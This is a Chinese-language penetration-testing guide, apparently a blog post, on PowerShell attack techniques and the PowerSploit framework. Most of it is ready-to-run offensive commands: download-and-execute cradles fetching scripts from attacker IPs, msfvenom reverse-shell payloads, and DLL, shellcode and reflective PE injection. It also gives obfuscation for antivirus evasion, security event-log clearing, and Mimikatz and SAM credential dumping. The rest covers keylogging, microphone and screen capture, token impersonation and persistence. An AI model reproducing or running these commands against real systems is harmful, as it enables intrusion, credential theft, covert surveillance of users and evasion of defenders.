本文研究Powershell攻击技术及利用框架渗透指南..
本文涉及内容,仅限于网络安全从业者学习交流,切勿用于非法用途…
0x01 基础介绍
cmdlet查询
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| 1)Get-Verb:返回大多数命令遵循的谓词的列表。响应包括有关这些谓词的功能的说明。
2)Get-Command:检索计算机上安装的所有命令的列表。
a. 使用不同的参数筛选 Get-Command 的输出:Get-Command -Name '*Process' //除了 -Name 之外,还可以根据 -ParameterName 和 -Type 之类的内容进行筛选
b. 根据名词和谓词进行筛选:Get-Command -Verb 'Get' //指定 -Verb 作为参数,列出谓词部分为 Get 的所有命令
c. 根据名词进行筛选:Get-Command -Noun U* //指定 -Noun 作为参数和字符串参数
d. 谓词/名词组合使用:Get-Command -Verb Get -Noun U*
e. Select-Object:帮助你从一个或多个对象中选取特定属性,如:Get-Command | Select-Object -First 3 //获取从顶部往下数的前3个命令
f. Where-Object:帮助你根据属性值从集合中选择对象,如:Get-Process | Where-Object {$_.ProcessName -like "p*"} //查找ProcessName 以 p 开头的所有 process 对象
3)Get-Member:它在基于对象的输出上运行,并且能够发现可用于命令的对象、属性和方法。
Get-Process | Get-Member //结果显示返回的类型(以 TypeName 形式)以及对象的所有属性和方法
Get-Process | Get-Member -MemberType Method //使用 -MemberType 参数,可以指定要查看所有方法
Get-Process | Get-Member | Select-Object Name, Definition //使用 Select-Object,可以指定要查看哪些列
4)Get-Help:以命令名称为参数调用此命令,将显示一个帮助页面,其中说明了命令的各个部分。
|
执行策略
PowerShell 执行策略是一项安全功能,用于控制 PowerShell 加载配置文件和运行脚本的条件
名称 |
说明 |
AllSigned |
AllSigned 执行策略允许执行所有具有数字签名的脚本,运行已签名但恶意脚本存在风险 |
Restricted |
Windows 客户端计算机的默认执行策略;受限制的,可以执行单个命令,但是不能执行脚本;绕过限制:Set-ExecutionPolicy -ExecutionPolicy Bypass |
RemoteSigned |
Windows 服务器计算机的默认执行策略;当执行从网络上下载的脚本时,需要脚本具有数字签名,否则不会运行;不需要对在本地计算机上编写的脚本进行数字签名 |
Unrestricted |
非 Windows 计算机的默认执行策略,无法更改;允许运行未签名的脚本。对于从网络上下载的脚本,在运行前会进行安全性提示 |
Bypass |
Bypass 执行策略不阻止任何操作,并且没有任何警告或提示 |
Undefined |
Undefined 表示当前范围内没有设置执行策略。如果所有范围内的执行策略为 Undefined,会应用默认的脚本策略。 |
Default |
设置默认执行策略,Restricted 适用于 Windows 客户端,RemoteSigned适用于 Windows 服务器。 |
绕过安全策略
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| 1)获取当前执行策略
Get-ExecutionPolicy
2) 设置Bypass策略
Set-ExecutionPolicy -ExecutionPolicy Bypass
3)通过管道输入进入ps
Get-Content .\test.ps1 | powershell.exe -noprofile -
4)通过远程下载脚本来绕过
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://192.169.10.1/test.ps1')"
5)通过BASE64编码执行
$command = "Write-Host 'Hello World!'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
|
通过CMD执行powershell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| PowerShell[.exe] [-PSConsoleFile <file> | -Version <version>] [-EncodedCommand <Base64EncodedCommand>] [-ExecutionPolicy <ExecutionPolicy>] [-File <filePath> <args>] [-InputFormat {Text | XML}] [-NoExit] [-NoLogo] [-NonInteractive] [-NoProfile] [-OutputFormat {Text | XML}] [-Sta] [-WindowStyle <style>] [-Command { - | <script-block> [-args <arg-array>] | <string> [<CommandParameters>] } ]
PowerShell[.exe] -Help | -? | /?
-Command # 需要执行的代码 -ExecutionPolicy # 设置默认的执行策略,一般使用Bypass -EncodedCommand # 执行Base64代码 -File # 需要执行的脚本名 -NoExit # 执行完成命令之后不会立即退出,运行完之后还会继续停留在PS的界面 -NoLogo # 不输出PS的Banner信息 -Noninteractive # 不开启交互式的会话 -NoProfile # 不使用当前用户使用的配置文件 -Sta # 以单线程模式启动ps -Version # 设置用什么版本去执行代码 -WindowStyle # 设置Powershell的执行窗口,有如下参数Normal, Minimized, Maximized, or Hidden
|
常用命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| 1) 版本/执行策略查看
$PSVersionTable # 查看版本 Get-ExecutionPolicy #检查当前执行策略 Set-ExecutionPolicy -ExecutionPolicy RemoteSigned # 将PowerShell 执行策略更改为远程签名
2)开启PS远程访问
# Enable psremoting Enable-PSRemoting
# Add remote host to trusted hosts: Set-Item wsman:\localhost\client\trustedhosts 10.0.0.2 Test-WsMan 10.0.0.2 # test connection to remote host
# Check current remote session's permissions Get-PSSessionConfiguration | Format-Table -Property Name, Permission -Auto Set-PSSessionConfiguration -Name Microsoft.ServerManager -AccessMode Remote -Force
# Open remote session Enter-PSSession -ComputerName 10.0.0.2 -Credential Domain\Username -Authentication Default $SS = New-PSSession -ComputerName 10.0.0.2 -Credential Domain\Username -Authentication Default Get-PSSession Remove-PSSession Invoke-Command -Session $SS -ScriptBlock {Get-Culture} Enter/New-PSSession -SkipCACheck -SkipCNCheck -UseSSL
# Disable remoting in powershell Disable-PSRemoting Stop-Service winrm Set-Service -Name winrm -StartupType Disabled
3)创建 BITS 传输作业
# Import-Module BitsTransfer Start-BitsTransfer -Priority Foreground -Source "https://nmap.org/ncrack/dist/*.tar.gz" -Destination "C:\temp\"
$Cred = Get-Credential Start-BitsTransfer -Authentication ntlm -Credential $Cred -Priority Foreground -Source "\\192.168.1.51\a\test.txt" -Destination "C:\temp\test.txt"
4)获取补丁
get-hotfix | out-gridview
5)安全描述符SDDL操作
$sddl = "D:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPWPLORC;;;SO)(A;;CCLCSWRPLORC;;;IU)(A;;CCLCSWRPWPDTLOCRRC;;;LS)(A;;CCLCSWRPWPDTLOCRRC;;;NS)" $ACLObject = New-Object -TypeName System.Security.AccessControl.DirectorySecurity $ACLObject.SetSecurityDescriptorSddlForm($sddl) $ACLObject.Access
6)创建凭据
# get credentials interactive $creds = Get-Credential
# non-interactive $secpasswd = ConvertTo-SecureString "PlainTextPassword" -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential ("username", $secpasswd)
7)开启/关闭RDP
RDP开启:powershell.exe -w hidden -nop -c "reg add \"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f; if($?) {$null = netsh firewall set service type = remotedesktop mod = enable;$null = reg add \"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\" /v UserAuthentication /t REG_DWORD /d 0 /f }"
RDP关闭: powershell.exe -w hidden -nop -c "reg add \"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 1 /f; if ($?) { $null = reg add \"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\" /v UserAuthentication /t REG_DWORD /d 1 /f }"
|
0x02 进阶技术
1. WMI技术
常用类
1 2 3 4 5 6 7 8 9 10
| 主机/操作系统信息:Win32_OperatingSystem, Win32_ComputerSystem 文件/目录列举: CIM_DataFile 磁盘卷列举: Win32_Volume 注册表操作: StdRegProv 运行进程: Win32_Process 服务列举: Win32_Service 事件日志: Win32_NtLogEvent 登录账户: Win32_LoggedOnUser 共享: Win32_Share 已安装补丁: Win32_QuickFixEngineering
|
powershell-wmi
1 2 3 4 5 6 7
| Get-WmiObject -Query "select * from win32_service where name='WinRM'"
Get-WmiObject -Class Win32_Process | Where-Object {$_.name -like "*explorer*"}
Get-Wmiobject -query "select * from win32_service where name='WinRM'" -computername server01, server02
Get-WmiObject -Class Win32_QuickFixEngineering
|
WMI触发器
1 2 3 4 5 6 7 8 9
| 事件触发条件
1) 事件筛选器:描述事件并且执行WQL事件查询。
2)事件消费者:事件消费是一个派生自 __EventConsumer 系统类的类,它表示了在事件触发时的动作。常用的消费类有下面两个: a. ActiveScriptEventConsumer - 执行嵌入的 VBScript 或 JScript 脚本 payload b. CommandLineEventConsumer - 执行一个命令行程序
3)消费者绑定筛选器:将筛选器绑定到消费者的注册机制。
|
2. 注入技术
DLL注入
DLL注入就是将代码插入/注入到正在运行的进程中的过程,注入的代码是动态链接库(DLL)的形式。因为DLL(如UNIX中的共享库)是在运行时根据需要来进行加载,实际上还可以使用其他各种形式(任何PE文件、shellcode/assembly等)来”注入”代码
Bypass UAC
1 2 3 4 5 6
| 1) 使用wusa.exe
2) Dll劫持
3) IFileOperation-COM对象 推荐注入explorer.exe这样的进程,只要操作系统在运行,这个进程能稳定的让我们注入
|
Powershell-DLL注入
Powersploit中的Invoke-DllInjection已经完成对于DLL注入的利用,利用过程如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| 1) 利用IEX下载脚本
IEX(New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-DllInjection.ps1")
2) 使用MSF生成恶意DLL
msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.168.1 LPORT=8080 -f dll -o test.dll
3) 通过Ps加载DLL完成利用
查看一个我们当前用户能注入的进程,在这里选用explorer进程来进行注入
Get-Process -name "explorer" | Select-Object Id
Invoke-DllInjection -ProcessID 3628 -DLL .\test.dll
|
Powershell-ShellCode注入
使用powersploit代码:Invoke-Shellcode 进行shellcode注入,利用过程如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| 1) 利用IEX下载脚本
IEX(New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1")
2) 使用MSF生成恶意代码
msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.168.1 LPORT=8080 -f powershell -o test
通过Web下载的方式来导入shellcode
IEX(New-Object Net.WebClient).DownloadString("http://192.168.168.1/test")
3) 通过Ps加载shellcode完成利用
Invoke-Shellcode -Shellcode ($buf) # 注入到当前powershell进程
Invoke-Shellcode -Shellcode ($buf) -ProcessID 2366 # 注入到指定进程(需判断是否有权限)
|
Powershell-EXE注入
使用脚本Invoke-ReflectivePEInjection直接注入EXE文件,注入步骤:
1 2 3 4 5 6 7 8
| 1) 生成msf木马
msfvenom -p windows/x64/meterpreter_reverse_tcp -e -i 3 LHOST=192.168.168.1 LPORT=2333 -f exe -o ~/shell.exe
2) 通过下面的注入
$PEBytes = [IO.File]::ReadAllBytes('.\Desktop\powershell\shell.exe') Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR
|
3. 混淆技术
远程下载代码脚本执行
1
| Invoke-Expression (New-Object System.Net.WebClient).DownloadString("http://192.168.0.1/powershell")
|
混淆方式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| 1) 去掉System关键字
Invoke-Expression (New-Object Net.WebClient).DownloadString("http://192.168.0.1/powershell")
2) 使用字符串连接+号连接
Invoke-Expression (New-Object Net.WebClient).DownloadString("ht"+"tp://192.168.0.1/powershell")
3) 使用Invoke方法
Invoke-Expression (New-Object Net.WebClient).("DownloadString").Invoke('h'+'ttp://192.168.0.1/powershell') $ds="Down"+"loadString";Invoke-Expression (New-Object Net.WebClient).$ds.Invoke('h'+'ttp://192.168.0.1/powershell')
4) 变量替代
IEX $test=New-Object Net.WebClient;$test.DownloadString('h'+'ttp://192.168.0.1/powershell')
5) 关键字+单双引号
Invoke-Expression (New-Object Net.WebClient)."DownloadString"('h'+'ttp://192.168.0.1/powershell')
6) 转义符号
Invoke-Expression (New-Object Net.WebClient)."D`o`wn`l`oad`Str`in`g"('h'+'ttp://7ell.me/power')
7) 字符串反转
$re= ")'1/1.0.0.721//:ptth'(gnirtSdaolnwoD.)tneilCbeW.teN tcejbO-weN("; IEX ($re[-1..-($re.Length)] -Join '') | IEX
8) 编码执行
$command = "Write-Host ‘Hello World!’" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
9) 替代IEX
Invoke-Expression/IEX命令是很常用的一个命令, 运行一个以字符串形式提供的PowerShell表达式。可代替IEX的各种执行方式
a. &(GAL I*X) : 通过别名的方式来进行编码 b. Command I*e-E* : 通过command的方式来进行编码 c. $ExecutionContext.InvokeCommand.GetCmdlets('I*e-E*')使用环境变量等等
|
tools: https://github.com/danielbohannon/Invoke-Obfuscation
4. 日志操作
CmdLet命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| Clear-EventLog
Get-EventLog
Get-WinEvent
Limit-EventLog
New-EventLog
Remove-EventLog
Show-EventLog
Write-EventLog
|
日志查看
1 2 3 4 5 6 7 8 9 10 11
| 列出事件日志列表: Get-Eventlog -List
查看security日志: Get-Eventlog -LogName security
列出最近日志: Get-EventLog -LogName security -Newest 5
列出指定时间段内的日志: Get-EventLog -LogName security -After 2020-11-10 -Before 2020-11-15
根据事件ID列出日志: Get-EventLog -LogName security -InstanceId 4624
获取某一条事件日志: Get-EventLog -LogName system -Index 12324
|
日志清除
1 2 3 4 5 6 7 8 9 10 11
| 1)Remove-Eventlog:注销事件源
Remove-EventLog -LogName security # 仅注销事件源,不删除日志
Remove-EventLog -Source app # 注销事件源,app将无法写入事件日志
2)Clear-Eventlog:清除日志
Clear-Eventlog -LogName security # 清除安全相关日志
Clear-Eventlog -LogName security -computername localhost, Server02 # 直接远程删除日志
|
0x03 利用框架
1. PowerSploit
Find-AVSignature
寻找反病毒软件特征码,思路类似于二分法
1 2 3 4 5
| # 假设远控文件偏移范围为0~10000 Find-AVSignature -StartByte 0 -EndByte 10000 -Interval 5000 -Path test.exe
# 重复步骤 Find-AVSignature -StartByte 5001 -EndByte 10000 -Interval 2500 -Path test.exe
|
refer: http://obscuresecurity.blogspot.com/2012/12/finding-simple-av-signatures-with.html
CodeExecution
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| 1) Invoke-DLLInjection
DLL注入脚本,dll架构要与目标进程相符,同时要具备相应的权限
Invoke-DLLInjection -ProcessID 2366 -dll test.dll
2)Invoke-ReflectivePEInjection
反射型注入,能做到不在目标磁盘上留下文件
Invoke-ReflectivePEInjection -PEUrl http://evil.com/test.dll -ProcId 2326 # 下载dll并注入到id为2326的进程中
Invoke-ReflectivePEInjection -PEUrl http://evil.com/test.dll -ProcId 2326 -ForceASLR # 强制使用ASLR
Invoke-ReflectivePEInjection -PEPath test.dll # 从本地加载dll并注入指定进程
Invoke-ReflectivePEInjection -PEPath test.dll # 向exe传参
3)Invoke-Shellcode
向目标进程注入shellcode
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.1 lport=6666 -f powershell # 生成shellcode
Invoke-Shellcode -Shellcode @($buf) -Force # 注入shellcode
4)Invoke-WmiCommand
在目标主机使用wmi执行命令
$username = "test\Administrator" $password = echo "123456" | ConvertTo-SecureString -AsPlainText -Force $c = New-Object System.Management.Automation.PSCredential $username,$password
Invoke-Wmicommand -Payload { 1 + 1 } -ComputerName '192.168.10.1' -Credential $Credentials
|
Exfiltration
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| Get-GPPAutologon
Get-GPPPassword
Get-Keystrokes -LogPath .\keylog.txt # 键盘记录
Get-MicrophoneAudio -Path .\audio.wav -Length 10 # 通过麦克风记录声音
Get-TimedScreenshot -Path .\screenshot\ -Interval 10 -EndTime 18:00 # 屏幕记录
Get-VaultCredential # 从凭证管理器中获取凭证
Invoke-CredentialInjection -UserName test -Password 123456 -NewWinLogon
Invoke-Mimikatz -DumpCreds
invoke-mimikatz -Command "Privilege::Debug Sekurlsa::logonpasswords" # 执行mimikaz命令
Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination .\SAM.hive # 某些文件被其他进程占用导致不能复制时时使用,如dump SAM文件
Invoke-TokenManipulation -Enumerate # 枚举唯一可用的令牌
Invoke-TokenManipulation -ShowAll # 枚举所有的令牌
Invoke-TokenManipulation -CreateProcess "calc.exe" -Username "NT AUTHORITY\SYSTEM" # 使用SYSTEM用户的令牌创建一个进程
Invoke-TokenManipulation -CreateProcess "calc.exe" -ProcessId "2366" # 通过ID来指定一个Token
Invoke-TokenManipulation -ImpersonateUser -Username "nt authority\system" # 使用当前的线程令牌模仿SYSTEM用户
Out-Minidump -Process (Get-Process -Id 2345) -DumpFilePath .\ # dump指定进程完整的内存镜像
Get-VolumeShadowCopy # 列出所有卷影拷贝的路径,需要管理员权限
New-VolumeShadowCopy -Volume C:\ # 新建卷影拷贝
Mount-VolumeShadowCopy -Path C:\Users\admin -DevicePath \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1 # 挂载卷影拷贝
Remove-VolumeShadowCopy -DevicePath \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1 # 删除卷影拷贝
|
Persistence
存放位置:放在%Systemroot%/System32\WindowsPowerShell\v1.0\Modules
或 $Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules
1 2 3
| $ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '2 PM' $UserOptions = New-UserPersistenceOption -Registry -AtLogon Add-Persistence -FilePath .\EvilPayload.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions
|
Privesc
Get-System
1 2 3
| get-system -Technique namedpipe/token # 选择方式
Get-System -RevToSelf # 恢复令牌
|
Recon
1 2 3 4 5 6 7 8 9 10 11
| Get-ComputerDetails #获取计算机信息
Get-HttpStatus -Target www.example.com -Path C:\dic.txt -UseSSL # 扫目录脚本
Invoke-Portscan -Hosts 192.168.1,1 -Ports "135,139,445,1" -Threads 50 # 扫描192.168.1.1/24的135,139,445端口
Invoke-Portscan -Hosts 192.168.1.1 -TopPorts 50 -Threads 50 # 扫描Top50的端口
Invoke-Portscan -Hosts 192.168.169.168 -Ports 445 -SkipDiscovery # 扫描前不ping目标主机
Invoke-ReverseDnsLookup -IpRange 192.168.1.1-192.168.1.254 # ip反查主机名
|
ScriptModification
1 2 3 4 5 6 7 8 9
| Out-CompressedDll -FilePath test.dll # 将dll压缩并base64编码
Out-EncodedCommand -ScriptBlock {write-host 'whoami'} # 脚本块编码
Out-EncodedCommand -Path .\1.ps1 -WindowStyle Hidden # 脚本编码
Out-EncryptedScript -ScriptPath .\1.ps1 -Password fuck -Salt 123 -FilePath .\encrypt.ps1 # 脚本加密
Remove-Comments -ScriptBlock { whoami } # 删除空白符
|
0xFF Reference